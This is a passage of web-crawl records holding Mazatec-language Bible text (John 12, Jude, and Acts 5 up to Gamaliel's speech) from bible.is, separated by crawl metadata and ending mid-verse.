kjo̱binachon ra mì fehe'ta tà mé ni̱chjin‑nioo̱. 26Tsa yá ra mejèn‑la̱ nga 'a̱n si̱íxá'ta‑na, katanchrabátji̱ngi‑na; ya̱ ñánda̱ nga kóti̱jna ra 'a̱n, ti̱'koa̱á ya̱á kíjna‑te jè ra si̱íxá'ta‑na. Tsa yá ra 'a̱n si̱íxá'ta‑na, jè Na̱'ìn‑na̱ ndaá ske̱xkón. 27'¡'Ndi̱ 'ndi̱ taxki̱ baá tíma‑la̱ jè inìma̱‑na̱! ¿Tanga kó xiáa̱n? ¿A xín‑ná: \"Na̱'ìn chjíixìn‑ná jè kjo̱hi'in ra kìi̱\"? Majìn‑jìn, ¡kií jnchro xá 'jíi̱‑na! 28Na̱'ìn, jeya ti̱jni. 'Kia̱á ina'yá jngo‑la̱ 'én ra ngajmi inchrabà‑ni ra kitsò: ―Ijyeé kjo kjìn 'ka̱ jeya báti̱jna, 'ndi̱ 'ndi̱ takó jeyaá kóti̱jna india‑na. 29Jñà xi̱ta̱ ra ya̱ tjítsa̱jna nga kií'nchré‑la̱, tjín ra kitsò: ―'Cho̱ón‑la ra ko̱kjamà. Ko̱ tjín i'ka ra kitsò: ―Majìn, ìkja̱li̱‑la̱ Nainá ra kàchja̱‑la̱. 30Jesús kitsó‑la̱: ―Jè 'én ra kàna'yá jiòn, mì tsa ki kjòn‑ni nga 'a̱n kànakjoá‑na; a̱'ta tsa̱jión‑nó nga ko̱'sín kàna'yá‑la̱. 31Jé hora ra̱kìi̱ nga si̱ndajín jè kjoa̱ ra tjín i̱ i̱sà'nde; jè ra tíbatéxoma‑la̱ jè i̱sà'nde i̱ a̱'ta nangi, ki̱náchrjekàjin‑ní. 32Tanga 'kia̱ ra 'a̱n tjáhitje̱n i̱ a̱'ta nangi, 'koa̱á 'sín 'siaa̱n nga nga'tsì xi̱ta̱ ya̱ katanchrabátji̱ngi‑na. 33'Kia̱ nga ko̱ kitsò, jè tje̱n isìchi̱ya kó'sín ka̱ma'tin 'kia̱ nga ki̱yá. 34'Kia̱á kitsò jñà xi̱ta̱: ―Ji̱n 'ya‑náji̱n nga jè kjo̱téxoma ra tsikínda Moisés, 'koa̱á 'sín tíchja̱, nga tsò: Jè Cristo kíjnakon‑ní ta kjiá‑nioo̱. ¿Mé‑ni ko̱'sín si‑ni ra ji̱ nga jè I'ndí‑la̱ Xi̱ta̱ machjeén‑ní nga tjáhitje̱n? ¿Yá‑ni I'ndí‑la̱ Xi̱ta̱ ra ko̱'mì‑la̱ ji̱? 35'Kia̱á kitsò‑la̱ Jesús: ―Takó kíjnako̱ó chiba ni̱chjin-isa‑no jè ni'í ra síhisen. Nda ti̱ma 'kia̱ nga tíjnajin-isa‑no jè ni'í ra̱kìi̱, mé‑ni mì ko̱jñò‑no; nga̱ jè ra ya̱ tsá'ba ñánda̱ jñò chon, mì kì tsijen‑la̱ kó'sín nga tífì. 36'Kia̱ nga takó ya̱ tíjnajin‑no jè ni'í ra̱kìi̱, katakjiín‑no a̱'ta 'tse̱, mé‑ni nga isen ki̱tsa̱jna ki'ta‑no. 'Kia̱ nga ijye ko̱kitsò‑la̱ jñà 'én kìi̱, kijí‑ní, tsikijna'maá‑la̱ jñà xi̱ta̱. 37Ni̱'sín takó kjìn kjo̱xkón ra nda tjióo̱n ki'sìn Jesús, jñà xi̱ta̱ mì kì kjokjiín‑la̱ ra a̱'ta 'tse̱; 38nga̱ tjíné‑la̱ nga ki̱tjasòn koni 'sín ijye kitsò Isaías jè xi̱ta̱ ra kiìchja̱ya ngajo‑la̱ Nainá, nga kitsò: Ji̱ Na̱'ìn, ¿yá ra i̱nchimakjiín‑la̱ jè 'én ra i̱nchi'bèna̱jmíyeé? ¿A mí tsa tjibakon tsijin jè nga'ñó ra tjín‑li? Ko̱ ni̱yá ra i̱nchimachi̱ya‑la̱. 39Kií mì kì makjiín‑te‑la̱, nga̱ jè Isaías, 'koa̱á ti̱'sín kitsò ya̱ xa̱jo̱n‑la̱, ñánda̱ tsò: 40Jè Nainá tsikíchjàjin kjo̱bítsjen‑la̱ ko̱ isítájajín ya̱ inìma̱‑la̱; mé‑ni mì kì ma katahisen‑la̱ kjo̱bítsjen‑la̱, ko̱ mì kì katachi̱ya‑la̱ inìma̱‑la̱, nga mì kì ya̱ katanchrabá'ta‑na nga sindá‑na. 41Kií ko̱kitsò‑ni jè Isaías nga̱ kijtse‑ní jè kjoa̱jeya‑la̱ Jesús, ko̱ a̱'ta 'tse̱‑ní nga ko̱'sín tsikínda xa̱jo̱n. 42Ni̱'sín ko̱'sín tsò jñà 'én kìi̱, takó kjìn jchán xi̱ta̱ judío kjokjiín‑la̱ a̱'ta 'tse̱, skanda kjokjiín i'ka‑la̱ jñà ra tjíhijyo ítjòn‑la̱ na̱xi̱ndá; tanga mì tsa tsi'kéna̱jmí tsijen, nga̱ jñá kitsakjòn‑la̱ jñà xi̱ta̱ fariseo nga tsa ya̱ ko̱chrjejin ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío. 43Isa̱á 'ñó kjotsjake nga nda kítsa̱hijyo ya̱ ngixko̱n xi̱ta̱ mì 'koa̱‑ni nga nda kítsa̱hijyo ya̱ ngixko̱n Nainá. 44Jesús 'ñó kiìchja̱ kitsò: ―Jè ra makjiín‑la̱ ra a̱'ta tsa̱'a̱n, mì tsa ta a̱'ta tsa̱'a̱n makjiín‑la̱, ya̱á makjiín‑te‑la̱ a̱'ta 'tse̱ Na̱'ìn‑na̱ ra isìkasén‑na. 45Ko̱ jè ra bexkon‑na, bexkon‑te jè ra isìkasén‑na. 46'A̱n ra koni jngo ni'í, ra 'jií síhisen‑la̱ xi̱ta̱ i̱sà'nde, ko̱ kií xá 'jíi̱‑na mé‑ni nga'tsì xi̱ta̱ ra makjiín‑la̱ a̱'ta tsa̱'a̱n mì ti̱ ya̱ kítsa̱jna‑ni ñánda̱ jñò chon. 47Jè ra 'nchré jè 'én‑na̱ ko̱ mì kì síhitjasòn, mì tsa 'a̱n jiàa̱n ra kinè‑la̱ kjo̱hi'in; nga̱ mì tsa ki xá 'jíi̱‑na nga kjo̱hi'in kinè‑la̱ jñà xi̱ta̱ i̱sà'nde, kií xá 'jíi̱‑na nga kochrjékàjian kjo̱hi'in a̱'ta 'tse̱ jé‑la̱. 48Jè ra bachrjengi‑na ko̱ mì síhitjasòn jè 'én‑na̱, ijyeé tjín ra ki̱ìnè‑la̱ kjo̱hi'in: jñá 'én ra ijye kíchjàa̱ tsjá‑la̱ kjo̱hi'in 'kia̱ nga ijye kje̱he'tà ni̱chjin. 49Nga̱ mì tsa ta 'a̱n bi'tín‑la̱ ijo‑na̱ kó'sín nga chjàa̱; jè Na̱'ìn‑na̱ ra isìkasén‑na kitsjá‑na kjo̱hixi̱ kó'sín nga kichjà ko̱ kó'sín nga kokon‑yá. 50Be‑ná nga jè kjo̱téxoma‑la̱ Na̱'ìn‑na̱ jè ra tjín‑la̱ kjo̱binachon ra mì kì fehe'ta ni̱ ta kjiá‑nioo̱. 'Koa̱á ma‑ni, koni 'sín nga chjàa̱, 'koa̱á 'sín tjín koni 'sín nga batéxoma‑na ra jè.\nSan Juan 12","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/12","date":"2013-12-13T05:56:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164888618\/warc\/CC-MAIN-20131204134808-00008-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":1225,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.336,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n, Judas xi chi̱'nda‑la̱ Jesucristo ma, ko̱ 'ndsè ma Jacobo, tìkjiì‑nò jñò xi xó kinokjoà‑nò nga tjòkeè‑nò Nainá xi Na̱'èn‑ná ma, ko̱ nga jè Jesucristo síkinda̱‑nò. 2Tse kjo̱hi̱ma̱takòn ko̱ kjoa̱'nchán ko̱ kjoa̱tjòcha kàtatsjá‑nò Nainá. 3Ndí 'ndsè xi 'ñó matsjake̱‑nò, kjòtseé tjín‑ne nga mejèn‑na skiì‑nò koni s'ín ngásòn kisìko̱‑ná Nainá nga tsachrjekàjiìn‑ná kjo̱'in kjoa̱ ts'e̱ jé‑ná. Ta̱nga i̱'ndei̱ mochjeén‑né nga tìkjiì‑nò mé‑ne nga ma bítsi'ba‑nò nga 'ñó ti̱xkàtjiò jè kjo̱tíxoma koni s'ín mokjeiín‑nò xi xó k'oa̱s'ín jngoò k'a kis'eno̱jmí‑la̱ xi̱ta̱ tsjeè‑la̱ Nainá. 4Tjín i'nga xi̱ta̱ xi jahas'en‑jiìn'ma‑nò. Jñà xi̱ta̱ koi, kjòtseé k'oa̱s'ín tjínè‑la̱ nga kjo̱'in s'e̱‑la̱ koni tsò Xo̱jo̱n‑la̱ Nainá. Jñà xi̱ta̱ koi, ch'oó s'ín; mìkiì beèxkón Nainá. Síkjatjìyaá‑la̱ kjo̱ndaà‑la̱ Nainá; koií síkitasòn kjoa̱ ch'o xi síjé yijo‑la̱. Ochrjenguií Jesucristo xi ta jè ta̱jngoò otíxoma‑ná. 5Jñò, na̱s'ín jye tíjiìn‑nò kjoa̱ koi, ta̱nga ìjngoò k'a tìsìkítsjeèn‑nò, jè Nainá tsachrjekàjiìn xi̱ta̱ na̱xa̱ndá Israel ján Egipto, ta̱nga xi jye komà i̱skan, ìjngoò k'a kisìkjehesòn jñà xi̱ta̱ xi mìkiì kòkjeiín‑la̱ i̱t'aà ts'e̱. 6K'oa̱á ti̱ komàt'in jñà àkja̱le̱ xi mìkiì ndaà tsibìtsa̱jnajiìn xá xi kjònga̱tsja, ta̱ sa̱á kitsjeiìn takòn i̱'nde xi kitjoé‑la̱. Tje̱n‑ne na̱chrjein jè, skanda i̱'ndei̱, Nainá, na'ñó ki̱cha̱ cadena tjít'aà'ñó‑la̱ ni̱ta̱ mé na̱chrjein‑ne, ya̱ ñánda i̱'ndei̱ jñò choòn, skanda jè na̱chrjein k'e̱ nga si̱ndaàjiìn. 7K'oa̱á ti̱s'ín komàt'in jñà na̱xa̱ndá Sodoma ko̱ Gomorra ko̱ na̱xa̱ndá xi ya̱ chrañàt'aà‑la̱ kjiyijò nga kjoa̱chijnguií kis'iìn nga nguì ta kjoa̱ch'o ts'e̱ yijo‑la̱ kiìtji̱ngui‑la̱. Na̱xa̱ndá koi, ngats'iì xi̱ta̱ xi tjín, ni'ín kisìkjehesòn. Nainá k'oa̱á s'ín tsibíjna jngoò‑ná chi̱ba̱ ni'ín xi ts'e̱ kjo̱'in xi mìkiì bits'o ni̱ta̱ kjé‑ne. 8Jñà xi̱ta̱ xi jahas'en‑jiìn'ma‑nò, k'oa̱á ti̱s'ín tà nijñá tí'biì‑la̱, nchihótsji jé‑la̱ yijo‑la̱, ochrjengui kjo̱tíxoma‑la̱ Na̱'èn‑ná, chja̱jno‑la̱ jñà nga'ñó xi mìkiì tsejèn. 9Jè Miguel xi àkja̱le̱ ítjòn, mìtsà 'én 'ngaá kiìchja̱ko̱ jè xi̱ta̱ nei̱í k'e̱ nga kiskaàn‑ya‑ne yijo‑la̱ Moisés; mìtsà kó kitsò‑la̱ mé kjo̱'in xi tjoé‑la̱; ta kitsò‑la̱: \"Nainá kàtatsjá‑lè kjo̱'in.\" 10Ta̱nga jñà xi̱ta̱ koi, chja̱ kondra̱á‑la̱ kjoa̱ xi mìkiì tíjiìn‑la̱. Ko̱ jñà kjoa̱ xi tíjiìn‑la̱, k'oa̱á s'ín síchjeén koni cho̱ xi tsjìn‑la̱ kjo̱hítsjeèn nga ti yijo ts'e̱ síkits'ón‑ne. 11¡I̱ma̱ xó‑ne xi̱ta̱ koi, nga jè ndi̱yá‑la̱ Caín kiìtji̱ngui‑la̱! K'oa̱á ti̱ tjín jé xi tsohótsji koni kis'iìn Balaam ta̱ jè kjoa̱‑la̱ nga to̱n síkijne. K'oa̱á s'ín ki̱yá koni s'ín k'en Coré koií kjoa̱‑la̱ nga kondra̱ kiì‑la̱ Nainá. 12Jñà xi̱ta̱ koi k'e̱ nga ya̱ báhijtako̱‑nò nga s'eí‑la̱ Na̱'èn‑ná tjín‑nò, síkits'ón‑jiìn‑nò, mìkiì masobà‑la̱ k'e̱ nga kjèn‑ko̱‑nò. Ta yijo‑la̱á sís'in‑la̱. K'oa̱á ngaya‑la̱ koni ifi xi mìtsà jtsí tji̱ko̱, xki̱ xi ján fìko̱ tjo̱; koni yá xi bixòjen xka̱‑la̱ nga mì toò ojà‑la̱ i̱kjoàn tjánè ko̱ i̱ma̱‑la̱, jngoó k'a biyaà. 13Jñà xi̱ta̱ koi, k'oa̱á ngaya‑la̱ koni xó‑la̱ ndáchikon nga bíxteèn tjé‑la̱ ya̱ i̱ndiì‑la̱ nga okó kjoa̱sobà‑la̱; koni ni'ño xi kisìchja ndi̱yá‑la̱, ko̱ k'oa̱á s'ín tjínè‑la̱ nga ya̱ kítsa̱jna ñánda i̱'nde jñò choòn ni̱ta̱ mé na̱chrjein‑ne. 14Jè Enoc xi ma‑ne itoò tje̱‑la̱ Adán xi ya̱ inchrobàt'aà‑ne; k'oa̱á ti̱s'ín tsibíjna 'én i̱t'aà ts'e̱ xi̱ta̱ koi k'e̱ nga kitsò: \"Chítsejèn‑là Na̱'èn‑ná nga tínchrobá, kjìn jchán jmiì ma àkja̱le̱‑la̱ xi tji̱ko̱, 15nga koi̱ìndaàjiìn‑la̱ ngats'iì xi̱ta̱ mé‑ne nga tsjá‑la̱ kjo̱'in ngats'iì xi̱ta̱ xi jé tjín‑la̱ koni tjín kjoa̱ ch'o xi kis'iìn, jñà xi mìkiì beèxkón Nainá nga ch'o tsò 'én xi chja̱jno‑la̱.\" 16Jñà xi̱ta̱ koi, kjit'aà na̱chrjein nchihojé, chja̱jno‑la̱ ngats'iì kjoa̱. Ta koi ótsji kjoa̱ xi mochjeén‑la̱ yijo‑la̱. K'e̱ nga chja̱ko̱ xi̱ta̱, ndaà síkítsa̱jna yijo‑la̱, ta 'én sin 'én ndaà chja̱; ta jè xi mejèn‑la̱ nga si̱ìkijne mé xi mejèn‑la̱. 17Ta̱nga jñò ndí 'ndsè xi matsjake̱‑nò, ti̱kítsjeèn koni s'ín jye kiìchja̱ko̱ ítjòn‑nò jñà xi̱ta̱ xi tsibíxáya‑la̱ Na̱'èn‑ná Jesucristo, 18nga kitsò‑nò: \"K'e̱ nga jye kjoe̱het'aà na̱chrjein, s'e̱é xi̱ta̱ xi tà ki̱jno̱keè xi kjoa̱ kixi̱. K'oa̱á s'ín ko̱jchájiìn kjoa̱ch'o xi síjé yijo‑la̱ nga mìkiì beèxkón Nainá.\" 19Xi̱ta̱ koi, xi̱ta̱ na̱xa̱ndá‑la̱ Nainá síjòya. Kjo̱hítsjeèn‑la̱ i̱sò'nde tjín‑la̱ nga tsjìn‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá. 20Ta̱nga jñò ndí 'ndsè xi matsjake̱‑nò, 'ñó kixi̱ ti̱nchako̱o jè kjoa̱ tsjeè‑la̱ Nainá xi mokjeiín‑nò. Tìtsi'ba‑là Nainá nga jè Ini̱ma̱ Tsjeè‑la̱ kàtasíchi̱ya‑nò. 21Ti̱kinda̱a yijo‑nò nga kjit'aà na̱chrjein kàtas'e‑nò kjoa̱tjòcha‑la̱ Nainá. Chíña‑la kjoa̱ i̱ma̱ takòn‑la̱ Na̱'èn‑ná Jesucristo, mé‑ne nga tsjá‑nò kjoa̱binachon xi mìkiì fehet'aà ni̱ta̱ kjé‑ne. 22Jcha̱ i̱ma̱ takòn nga ti̱si̱ko̱ò jñà xi̱ta̱ xi jò beè‑la̱ ikon. 23Ko̱ jñà xi̱ta̱ xi i'nga, ni̱to̱ón ti̱náchrjekàjñoò jñà kjoa̱ ch'o xi s'ín nga jyeé kjo̱meè ya̱ bixòjiìn ni'ín ts'e̱ kjo̱'in. Jcha̱ i̱ma̱ takòn i'nga ta̱nga t'e̱en kinda̱ yijo‑nò tsà ti̱koa̱ ya̱ ska̱jñoò jé‑la̱. Ti̱nachrjekànguioò kjoa̱ ts'e̱ jé‑la̱. Skanda jñà nikje tjé‑la̱ ti̱nachrjenguioò. 24Jè Nainá xi ma‑la̱ síkinda̱‑nò mé‑ne nga mìkiì ki̱xo̱nguioò. Tsjeè síkítsa̱jna‑nò ya̱ nguixko̱n kjoa̱ jeya‑la̱ nga ni̱mé jé sa̱kò‑nò ko̱ 'ñó s'e̱‑nò kjo̱tsja. 25Jè Nainá xi ta jè ta̱jngoò ma‑ne nga ochrjekàjiìn‑ná kjo̱'in xi i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo, ta jè ta̱jngoò xi jeya kàtìjna, 'nga kàtìjna; kàtas'e‑la̱ kjo̱tíxoma; kàtas'e‑la̱ nga'ñó; skanda kjòtseé, ko̱ na̱chrjein i̱'ndei̱, ko̱ skanda ni̱ta̱ kjé‑ne. K'oa̱s'ín kàtama.\nJudas Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Jude\/","date":"2013-12-07T18:44:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163055633\/warc\/CC-MAIN-20131204131735-00041-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":35,"top_langs":"{\"maa_Latn_score\": 1.0000085830688477}","num_words":765,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tanga jngo xi̱ta̱ 'xi̱n ra 'mì Ananías ko̱ jè chjo̱ón‑la̱ Safira 'mì, ti̱'koa̱á tsatína jngo 'ndé‑te nangi‑la̱. 2Xi̱ta̱ ra̱kìi̱ tsajo̱óya‑ni ko̱ chjo̱ón‑la̱ nga tsikí'ma chiba jè to̱n chjí nangi‑la̱. Ta chibaá 'jiìkó nga isìnga̱tsja jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesucristo. 3Jè Pedro kitsó‑la̱: ―Ji̱ Ananías, ¿mé‑ni kabi'nde‑ni nga jè xi̱ta̱‑ni̱í ka'faha'sen‑jin ya̱ inìma̱‑li nga mejèn‑li kachìndo̱cha̱‑la̱ jè Inìma̱ Tsje‑la̱ Nainá? ¿Mé‑ni kabì'ma chiba‑ni jè to̱n chjí nangi‑li? 4¿A mí tsa tsa̱ji jè nangi? 'Kia̱ nga ijye kabatini, ¿a mí tsa tsa̱ji‑ti jè to̱n‑la̱? ¿Mé‑ni ko̱'sín kàníkítsjen‑ni ya̱ a̱jin inìma̱‑li? Mì tsa xi̱ta̱‑jìn ra mejèn‑li kabìndo̱cha̱‑la̱, jè sabà Nainá. 5Jè Ananías, 'kia̱ nga kií'nchré jñà 'én kìi̱, iskàtje̱n'tá ya̱ nangi; a̱kjòn 'ken. Nga'tsì xi̱ta̱ ra kií'nchré nga ko̱'sín kjomà, taxki̱ 'ñó itsakjòn. 6'Kia̱á 'ji i'ka i̱xti 'xi̱n ra ijye iskasòn nó‑la̱, isíkájté nikje ijo‑la̱ Ananías; a̱kjòn tsachrje ya̱ ni'ya, nga kiì kíhijin. 7Ta̱'koa̱ ijyeé‑la tjín‑ni tsa jàn hora 'kia̱ nga 'ji Safira jè chjo̱ón‑la̱ Ananías; ko̱ mì kì tjíjin‑la̱ tsa mé kjoa̱ ra kjomà. 8Jè Pedro iskonangií‑la̱ kitsò‑la̱: ―¿A 'koa̱á tjín tsatina‑no jè nangi‑no koni tjín bixó? Jè chjo̱ón ra̱kìi̱ kitsó‑ní: ―Jon, 'koa̱á tjín tsatina‑nìji̱n. 9'Kia̱á kitsò‑la̱ jè Pedro: ―'Kia̱ ko̱'sín ichibàya‑no, ¿a 'koa̱á 'sín ma‑no nga maá jchónda̱cha̱‑la̱ jè Inìma̱ Tsje‑la̱ Nainá? Chítsijen‑la̱ jñà xi̱ta̱ ra ya̱ i̱jnchajto xo̱tjo̱ba̱ ni'ya, jñà kàfì kíhijin jè 'xi̱n‑li; ti̱'koa̱á ngaji̱ jñà i̱ko̱‑te‑li. 10Chjo̱ón ra̱kìi̱, ta ndi̱to̱ón iskàtje̱n'ta nangi ya̱ a̱ngi ndsa̱ko̱ Pedro, a̱kjòn 'ken. 'Kia̱ nga 'jaha'sen ni'ya jñà i̱xti 'xi̱n, kijtse‑ní nga ijye 'ken; 'kia̱á tsachrje ni'ya, nga kiì kíhijin'ta‑la̱ 'xi̱n‑la̱. 11Nga'tsì xi̱ta̱ na̱xi̱ndá‑la̱ Cristo ko̱ nga'tsì xi̱ta̱ ra kií'nchré kjoa̱ kìi̱, taxki̱ 'ñó itsakjòn. 12Jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús, kjín kjo̱xkón ki'sìn ra bakón kjoa̱jeya‑la̱ Nainá ya̱ ngixko̱n xi̱ta̱ na̱xi̱ndá. Nga'tsì xi̱ta̱‑la̱ Cristo sabà ya̱á kjóxkóya ki'ta ya̱ ngitjo̱ba̱ ra 'mì Salomón. 13Jñà ra kj'ií xi̱ta̱, ni̱jngó ra kjó'ñó ikon nga ya̱ tsakáhijtako̱ jñà xi̱ta̱‑la̱ Cristo. Tanga ra jñà xi̱ta̱ na̱xi̱ndá, 'ñó nda kijtsexkón jñà xi̱ta̱‑la̱ Cristo. 14Ko̱ jñà ra kjokjiín‑la̱ a̱'ta 'tse̱ Cristo, isa̱á 'ñó kjìn kjomà‑isa, íchjín ko̱ íchjá kjokjiín‑la̱. 15Skanda jñà xi̱ta̱ tsachrjeé xi̱ta̱ ra kiya ya̱ a̱ya ndi̱yá, isíkáhijyosòn na̱chan ko̱ nijñaa̱, mé‑ni 'kia̱ nga 'koa̱ jè Pedro, ko̱ndaá‑ni ni̱'sín tà jé 'ngién‑la̱ ska̱'ta i'ka‑la̱ jñà xi̱ta̱ ra kiya. 16Ti̱'koa̱á kjín xi̱ta̱ 'ji ya̱ Jerusalén ra inchrabà‑ni ya̱ na̱xi̱ndá ra tjín ya̱ chraña'ta‑la̱; 'jiìkó xi̱ta̱ ra kiya ko̱ ra inìma̱ 'cho‑la̱ ni̱í i̱nchibeton; nga'tsì xi̱ta̱ kìi̱ kjonda ijyeé‑ni. 17Jè na̱'mì ítjòn ko̱ nga'tsì xi̱ta̱ ra ya̱ báhijtako̱ ra ya̱ chja̱‑ni a̱'ta 'tse̱ xi̱ta̱ saduceo, kjòchi̱ni̱keé jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús. 18A̱kjòn itsabá'ñó; kiìko̱ nga isíkítsa̱jna nda̱yá ra 'tse̱ na̱xi̱ndá. 19Tanga 'kia̱ nga ijye kjòjñò, jngo ìkja̱li̱‑la̱ Nainá ijchò kjí'xa̱‑la̱ nda̱yá. Tsachrje‑ni xi̱ta̱ kìi̱, kitsò‑la̱: 20―Tangió, ti̱ncha kixio̱ò ya̱ a̱ya i̱ngo̱ ítjòn, 'tèna̱jmí ijye‑la xi̱ta̱ na̱xi̱ndá kó'sín tjín a̱'ta 'tse̱ kjo̱binachon xi̱tse̱ ra tsjá Cristo. 21Koni 'sín nga kií'nchré jñà 'én kìi̱, ra ma nchijòn, ta̱jñó kijì ya̱ i̱ngo̱ ítjòn nga tsakón‑ya‑la̱ xi̱ta̱. Ti̱'kia̱á‑ni 'ji jè na̱'mì ítjòn, ko̱ nga'tsì xi̱ta̱‑la̱ ra ya̱ títsa̱jnako̱. Kiìchja̱‑la̱ nga'tsì xi̱ta̱xá ko̱ xi̱ta̱ jchínga 'tse̱ na̱xi̱ndá Israel nga tsikíxkóya xákjén; a̱kjòn kitsjá kjo̱hixi̱ nga kiìjch'à jñà xi̱ta̱‑la̱ Cristo ra títsa̱jna'ya nda̱yá. 22'Kia̱ nga ijchò jñà polsìya̱, mì kì isakò‑la̱ jñà xi̱ta̱ ra títsa̱'ya nda̱yá; 'kia̱á tsáfa‑ni; tsi'kéna̱jmí nga mì kì yá tjín ya̱ a̱ya nda̱yá. 23Kitsò: ―'Kia̱ nga kabijcho‑ji̱n, ndaá tjíchjàjto xo̱tjo̱ba̱‑la̱ nda̱yá. Jñà chíchàn ra síkinda̱, ya̱á i̱jnchajto ya̱ xo̱tjo̱ba̱; tanga 'kia̱ nga kabitjáha̱'se̱n‑ji̱n mì ti̱ yá xi̱ta̱ tjín‑ni ya̱ a̱ya nda̱yá. 24'Kia̱ nga kií'nchré 'én kìi̱, jè na̱'mì ítjòn ko̱ jñà na̱'mì ra i'kaa̱ ko̱ jè xi̱ta̱ ítjòn‑la̱ polsìya̱ ra síkinda̱ i̱ngo̱ ítjòn, ta 'koa̱á kjomà‑la̱; mì kì kjòchi̱ya‑la̱ kó'sín kje̱he'tin‑la̱ jè kjoa̱ ra̱kìi̱. 25Ti̱jé‑ni hora nga 'ji jngo xi̱ta̱ ra 'jií 'kéna̱jmí, kitsò: ―Jñà xi̱ta̱ ra ichini jiòn nda̱yá, ya̱á títsa̱jna ya̱ a̱ya i̱ngo̱ ítjòn nga i̱nchibakón‑ya‑la̱ xi̱ta̱ na̱xi̱ndá. 26'Kia̱á kijì jè xi̱ta̱ ítjòn‑la̱ polsìya̱ ra síkinda̱ i̱ngo̱ ko̱ jñà polsìya̱ ra i'ka nga kií'ká. Ta inchrabàko̱ kjo̱nda‑ní; mì kì tsa mé ra isìko̱. Nga̱ jñá tsakjón‑la̱ jñà xi̱ta̱ na̱xi̱ndá tsa ya̱ na̱jo̱ ki̱ìnè nga si̱ì'ken. 27'Kia̱ nga 'jiìkó, isikinchá masen‑ní ya̱ ñánda̱ títsa̱jnajtín xi̱ta̱. Jè na̱'mì ítjòn kitsó‑la̱: 28―¿A mí tsa ko̱'sín tsi'kìn‑laji̱n nga jngo kjá mì ti̱ kì ko̱tsò 'én ra ko̱kón‑ya‑no a̱'ta 'tse̱ Jesús? Ta isa̱á ijye iningasòn jè kjo̱téxoma‑no kóho'ki i̱ Jerusalén; ti̱'koa̱á ngaji̱ín chininè‑náji̱n nga 'ken jè xi̱ta̱ ra̱kìi̱ ―kitsò jè na̱'mì ítjòn. 29Jè Pedro, ko̱ xi̱ta̱ xákjén ra jè Jesús tsikíxáya‑la̱, kitsó‑ní: ―Isa̱á chjí‑la̱ nga jè Nainá si̱itjasòn‑la̱ji̱n, ko̱ mì 'koa̱‑ni jñà xi̱ta̱. 30Jè Nainá‑la̱ jñà xi̱ta̱ jchínga‑ná, isikjaáya‑ila̱ jè Jesús a̱'ta 'tse̱ kjoa̱biya, jè ra jiòn ini'ken 'kia̱ nga tsakja'ta krò. 31Nainá, 'ñó jeya isíkíjna'ta ya̱ chrja nga kixi̱‑la̱. Xi̱ta̱xá ítjòn isíkíjna; ti̱'koa̱á jè isíkíjna nga jè ko̱chrjekàjin‑ná kjo̱hi'in, mé‑ni jè na̱xi̱ndá Israel si̱íkájno‑ni jé‑la̱ ko̱ mì ti̱ kì koa̱àtsji-jé‑ni, ti̱'koa̱á si̱hijcha'ta‑la̱ jé‑la̱. 32Xkón kijcha‑naji̱n kjoa̱ kìi̱ ko̱ 'koa̱á 'sín 'bèna̱jmí‑laji̱n; ti̱'koa̱á 'béna̱jmí‑te jè Inìma̱ Tsje‑la̱ Nainá, jè Inìma̱ Tsje ra ijye kitsjà‑la̱ Nainá jñà xi̱ta̱ ra síhitjasòn‑la̱ ―kitsó Pedro. 33'Kia̱ nga kií'nchré jñà 'én kìi̱, 'ñó kjojti‑la̱; skanda mejèn‑la̱ si̱ì'ken. 34Tanga ya̱á tíjnajin jngo xi̱ta̱ fariseo ra ti̱'koa̱ xá tjín‑la̱ ra 'mì Gamaliel jè ra bakón‑ya kjo̱téxoma‑la̱ Nainá. Nga'tsì jñà xi̱ta̱ na̱xi̱ndá 'ñó nda bexkón xi̱ta̱ ra̱kìi̱. 'Kia̱á tsasijna kixi̱; kitsjá kjo̱hixi̱ nga katitjo jngohíjta ni'ya jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús. 35Jè Gamaliel kitsó‑la̱ xi̱ta̱xá xákjén: ―Jiòn, nga'tsì‑no ra xi̱ta̱ Israel 'mì‑ná, ti̱kítsjen‑la nda nda mé kjoa̱ ra si̱ko̱o jñà xi̱ta̱ kìi̱. 36Ti̱kítsjen jñà ni̱chjin ra ijye tsato a̱'ta 'tse̱ xi̱ta̱ ra ki'mì Teudas. Mejèn‑la̱ nga jè tsikijna ítjòn. 'Koa̱á 'sín kitsò nga xi̱ta̱ ítjòn‑ní. Kjomà‑la̱ tsa ijòn sindo̱ xi̱ta̱ ra kiì'ta‑la̱. Tanga 'kia̱ nga isì'ken xi̱ta̱, nga'tsì xi̱ta̱ ra ya̱ kiì'ta‑la̱, ta ya̱á itsajo‑ni ko̱ ijyehe'tà kjoa̱. 37Ko̱ a̱skan‑nioo̱, jè ni̱chjin 'kia̱ nga kisi'ta xa̱jo̱n xi̱ta̱ nga kjoxki̱ya, ìjngo‑isa xi̱ta̱ tsatsíjen ra tsi'kìn Judas ra xi̱ta̱ Galilea. Ti̱'koa̱á kjín xi̱ta̱ na̱xi̱ndá kiì'ta‑la̱. Tanga ti̱'koa̱á 'kia̱ nga kinì'ken xi̱ta̱ ra̱kìi̱, ti̱'koa̱á nga'tsì ra ya̱ kiì'ta‑la̱, tà ya̱á 